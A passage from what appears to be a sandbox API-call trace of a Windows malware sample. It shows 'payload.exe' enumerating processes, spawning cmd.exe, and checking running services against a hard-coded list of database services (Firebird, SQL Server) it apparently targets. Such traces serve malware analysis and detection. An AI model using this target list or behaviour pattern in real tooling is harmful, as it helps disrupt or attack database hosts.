returned 1 [0143.288] lstrlenW (lpString="svchost.exe") returned 11 [0143.288] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0143.289] lstrlenW (lpString="dwm.exe") returned 7 [0143.289] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.290] lstrlenW (lpString="svchost.exe") returned 11 [0143.290] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.291] lstrlenW (lpString="svchost.exe") returned 11 [0143.291] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.292] lstrlenW (lpString="svchost.exe") returned 11 [0143.292] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.292] lstrlenW (lpString="svchost.exe") returned 11 [0143.292] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.293] lstrlenW (lpString="svchost.exe") returned 11 [0143.293] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.294] lstrlenW (lpString="svchost.exe") returned 11 [0143.294] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.295] lstrlenW (lpString="svchost.exe") returned 11 [0143.295] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.296] lstrlenW (lpString="svchost.exe") returned 11 [0143.296] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.296] lstrlenW (lpString="svchost.exe") returned 11 [0143.296] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.297] lstrlenW (lpString="svchost.exe") returned 11 [0143.297] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0143.298] lstrlenW (lpString="spoolsv.exe") returned 11 [0143.298] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.299] lstrlenW (lpString="svchost.exe") returned 11 [0143.299] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0143.299] lstrlenW (lpString="audiodg.exe") returned 11 [0143.299] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0143.300] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0143.300] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0143.301] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0143.301] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0143.302] lstrlenW (lpString="Memory Compression") returned 18 [0143.302] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0143.303] lstrlenW (lpString="sihost.exe") returned 10 [0143.303] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.303] lstrlenW (lpString="svchost.exe") returned 11 [0143.303] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0143.304] lstrlenW (lpString="taskhostw.exe") returned 13 [0143.304] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0143.305] lstrlenW (lpString="msoia.exe") returned 9 [0143.305] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0143.306] lstrlenW (lpString="explorer.exe") returned 12 [0143.306] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0143.324] lstrlenW (lpString="SearchUI.exe") returned 12 [0143.324] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0143.325] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0143.325] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0143.326] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0143.326] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0143.327] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0143.327] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0143.327] lstrlenW (lpString="payload.exe") returned 11 [0143.327] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0143.328] lstrlenW (lpString="cmd.exe") returned 7 [0143.328] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0143.332] lstrlenW (lpString="conhost.exe") returned 11 [0143.332] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0143.333] lstrlenW (lpString="consent.exe") returned 11 [0143.333] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0143.334] lstrlenW (lpString="dllhost.exe") returned 11 [0143.334] Process32NextW (in: hSnapshot=0x550, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0143.334] CloseHandle (hObject=0x550) returned 1 [0143.334] Sleep (dwMilliseconds=0x1f4) [0144.116] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443dea0 [0144.117] EnumServicesStatusExW (in: hSCManager=0x443dea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0144.117] GetLastError () returned 0xea [0144.117] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x52e0088 [0144.117] EnumServicesStatusExW (in: hSCManager=0x443dea0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x52e0088, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x52e0088, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0144.117] CloseServiceHandle (hSCObject=0x443dea0) returned 1 [0144.118] lstrlenW (lpString="Appinfo") returned 7 [0144.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0144.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0144.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0144.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0144.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0144.118] lstrlenW (lpString="AppXSvc") returned 7 [0144.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0144.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0144.118] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0144.118] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0144.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0144.118] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0144.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.118] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0144.118] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0144.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0144.118] lstrlenW (lpString="Audiosrv") returned 8 [0144.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0144.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0144.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0144.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0144.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0144.118] lstrlenW (lpString="BFE") returned 3 [0144.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0144.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0144.118] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0144.118] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0144.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0144.119] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0144.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0144.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0144.119] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0144.119] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0144.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0144.119] lstrlenW (lpString="CDPSvc") returned 6 [0144.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0144.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0144.119] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0144.119] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0144.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0144.119] lstrlenW (lpString="ClickToRunSvc") returned 13 [0144.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0144.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0144.119] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0144.119] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0144.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0144.119] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0144.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0144.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0144.119] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0144.119] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0144.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0144.119] lstrlenW (lpString="CryptSvc") returned 8 [0144.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0144.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0144.119] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0144.119] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0144.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0144.119] lstrlenW (lpString="DcomLaunch") returned 10 [0144.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.119] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0144.119] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0144.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0144.119] lstrlenW (lpString="DeviceAssociationService") returned 24 [0144.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0144.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0144.128] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0144.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0144.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0144.128] lstrlenW (lpString="Dhcp") returned 4 [0144.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0144.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0144.129] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0144.129] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0144.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0144.129] lstrlenW (lpString="Dnscache") returned 8 [0144.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0144.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0144.129] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0144.129] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0144.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0144.129] lstrlenW (lpString="DPS") returned 3 [0144.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0144.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0144.129] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0144.129] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0144.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0144.129] lstrlenW (lpString="DusmSvc") returned 7 [0144.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0144.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0144.129] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0144.129] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0144.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0144.129] lstrlenW (lpString="EventLog") returned 8 [0144.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0144.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0144.129] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0144.129] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0144.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0144.129] lstrlenW (lpString="EventSystem") returned 11 [0144.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0144.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0144.130] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0144.130] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0144.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0144.130] lstrlenW (lpString="FontCache") returned 9 [0144.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0144.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0144.130] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0144.130] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0144.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0144.130] lstrlenW (lpString="gpsvc") returned 5 [0144.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0144.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0144.130] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0144.130] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0144.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0144.130] lstrlenW (lpString="iphlpsvc") returned 8 [0144.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0144.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0144.130] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0144.130] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0144.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0144.130] lstrlenW (lpString="KeyIso") returned 6 [0144.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0144.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0144.130] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0144.130] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0144.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0144.130] lstrlenW (lpString="LanmanServer") returned 12 [0144.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0144.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0144.130] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0144.130] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0144.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0144.131] lstrlenW (lpString="LanmanWorkstation") returned 17 [0144.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.131] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0144.131] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0144.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0144.131] lstrlenW (lpString="lfsvc") returned 5 [0144.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0144.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0144.131] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0144.131] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0144.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0144.131] lstrlenW (lpString="lmhosts") returned 7 [0144.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0144.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0144.131] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0144.131] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0144.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0144.131] lstrlenW (lpString="LSM") returned 3 [0144.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0144.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0144.131] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0144.131] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0144.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0144.131] lstrlenW (lpString="MpsSvc") returned 6 [0144.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0144.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0144.131] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0144.131] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0144.131] lstrcmpiW 